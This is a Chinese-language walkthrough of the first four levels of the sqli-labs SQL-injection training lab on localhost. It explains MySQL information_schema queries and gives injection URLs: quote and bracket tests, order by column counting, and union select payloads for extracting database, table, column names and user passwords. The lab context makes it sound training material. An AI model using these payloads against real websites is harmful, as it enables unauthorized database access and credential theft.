SQL注入--sqli-labs(1-4关)
mysql的基本用法:
查库:select schema_name from information_schema.schemata 等同于 show databases
查表:select table_name from information_schema.tables where table_schema=‘‘ 等同于 show tables
查列:select column_name from information_schema.columns where table_name=‘‘
查字段:select id,username,password from security.users 查询出security中的users表中的id、username和password
information_schema,系统数据库,包含所有数据库相关信息。
information_schema.schemata中schema_name,字段为所有数据库名称。
information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。
information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table_name列也对应所有表名。
知识点:
在MySQL数据库中,单行注释有#和--。在URL中,如果在最后加上--,浏览器在发送请求时会把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL编码后会变成空格。
第一关(Less-1):
1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1,显示正常
2.加个单引号,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘,提示语句出错
3.输入注释符--+,http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘--+,显示正常,可知是单引号字符型注入
4.使用order by查列数,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3 --+,显示正常
输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 4 --+ ,显示没有4列,故有3列
5.使用union参数进行联合查询注入,union前面的数据报错才能执行union后面的数据,因此将id=1改为id=-1开始进行注入
如图所示,2,3为显示位,此时可在2或3的位置进行手注
6.注当前数据库名,输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ union select 1,database(),3 --+
7.注表名,
8.注某张表的字段,以user表为例
9.注字段的值,以user表中的username字段为例
第二关(Less-2):
1.根据题目提示,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1,显示正常
2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1‘,发现报错,说明存在注入漏洞,错误原因存在单引号
3.去掉单引号,输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+,显示正常
4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+,显示Unknown column ‘4’,说明一共有三列
5.使用联合查询语句,查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示,可知回显位置为第二和第三位
6.手动注入,爆出所有的数据库名
7.爆出security中的所有表名
8.爆出users表中的所有列名
9.爆字段,爆出user表中username,password字段的所有列
第三关(Less-3):
1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1,显示正常
2.加单引号,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘,存在注入漏洞,错误提示多余一个单引号
3.再加上),输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘)--+,显示正常
4.查看有多少列,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 3 --+,显示正常,存在三列
5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1‘) order by 4 --+,提示没有四列,则只有三列
6.使用联合查询语句,查询回显位置,输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1‘) union select 1,2,3 --+,如图,回显位置为2,3
7.手动注入,爆出所有数据库名
8.爆出security库中的所有表名
9.爆出users表中所有的列信息
10.爆字段,爆出users表中username,password列的所有信息
第四关(Less-4):
1.根据提示输入id,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1,显示正常
2.加单引号,进行报错测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1‘,没有显示任何的报错信息
3.加双引号进行测试,输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1",出现报错,显示多出一个双引号
4.根据提示信息,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常
5.查询有多少列,输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+,显示正常,说明有三列
6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+,根据错误提示可知,不存在四列,故有三列
7.联合查询,查询出回显位置,如图可知,回显位置为2,3
8.爆出所有数据库名
9.爆出security库中的所有表信息
10.爆出users表中的所有列信息
11.爆出users表中username,password列的所有信息